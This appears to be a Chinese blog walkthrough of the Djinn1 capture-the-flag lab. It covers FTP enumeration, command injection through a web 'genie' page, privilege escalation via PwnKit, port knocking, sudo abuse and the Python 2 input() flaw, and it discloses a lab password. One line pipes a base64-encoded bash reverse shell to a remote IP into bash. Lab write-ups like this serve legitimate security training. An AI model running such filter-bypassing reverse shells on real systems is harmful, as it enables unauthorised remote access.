Djinn1打靶记录

主机探测

ip为192.168.148.189 端口扫描

ftp匿名登录

匿名登录,发现有三个txt,下载到本地进行查看

在1337有个游戏,页面一闪而过

telnet连接,发现这个游戏需要进行1000次,应该需要写个脚本来完成,先放放

7331页面漏洞探测

使用whatweb命令进行探测,发现是Werkzeug

Werkzeug是一个Python库,用于开发Web应用程序。 它是一个WSGI(Web Server Gateway Interface)工具包,提供了一系列实用功能来帮助开发者处理HTTP请求、响应、URLs等等。Werkzeug的设计非常灵活,可以用作构建各种Web框架的基础。

使用searchsploit命令搜索漏洞,进行尝试,但这个系统没有开启debug功能

命令执行反弹shell

目录扫描发现存在/wish/genie命令

访问,发现可以执行命令,不过能执行的命令有限

尝试编码,尝试了URL编码和base64编码,发现base64能够成功

1
echo 'YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjM0LjIxLzEyMzQ1IDA+JjE=' | base64 -d | bash

查看系统的用户

PwnKit提权

查找suid文件

感觉非预期了,因为还有个提示没用上hh

补充提权思路

敲门打开22端口

看了别人的wp,提权还有其他思路,在nitish的家目录下发现密码

nitish:p4ssw0rdStr3r0n9

不过22端口被过滤了,查看/etc/knockd.conf,看是配置的怎样的规则

敲门顺序是1356 6784 3409

nitish用户ssh登录

用账号密码成功登录

获取sam用户的shell

sudo -l查看的时候,发现可以以sam的身份无密码使用/usr/bin/genie

但是无法使用给出的参数

使用man命令查看使用帮助,还发现了一个参数-cmd

成功获取sam的shell

反编译.pyc文件分析源码

sudo -l查看的时候,发现可以以root的身份无密码使用/root/lago

执行/root/lago,发现是个小游戏,看上去没有利用点

之前是www-data用户的shell时,sam家目录是无法进入的,现在是sam身份,进入其家目录下查看,发现.pyc文件

[!note] pyc文件是从Python源代码生成的编译输出文件,当py文件使用Python解释器运行时,它被转换为字节码以执行。 同时,编译后的字节码也保存为. pyc文件,以便以后在适用时从缓存中重用。

使用strings命令进行查看,和前面的小游戏很相似

[!note] strings 命令是用于从二进制文件中提取可打印字符串的工具。它特别有用在分析不明结构的文件、调试或逆向工程过程中查找有用的信息。

使用uncompyle2工具对.pyc文件进行反编译,阅读源码,发现当输入的内容等于num的时候,会调用/bin/sh

Python2的input漏洞

Python中,接收用户输入可以通过inputraw_input的方式:

  • input:将用户输入的值和类型原样获取,而不修改任何类型
  • raw_input:将用户输入转换为字符串类型

input的漏洞在于,任何人都可以仅通过使用变量或方法的名称来访问访问输入值的变量。以下是input中的一些漏洞:

  • 变量名称作为输入参数:具有输入变量值的变量能够直接访问输入变量的值
  • 函数名称作为参数

靶机的情况就是第一种,通过变量名。这里输入num,即可成功提权

总结

1、ftp端口开放,一般会想到匿名登录

2、22端口filtered,想到可能需要knock,去/etc/knockd.conf查看规则

3、命令执行页面无法执行命令,可以考虑编码,比如base64、URL等

4、看到.pyc文件要想到反编译

5、了解了Python2的input()漏洞

Licensed under CC BY-NC-SA 4.0
使用 Hugo 构建
主题 StackJimmy 设计
本博客已稳定运行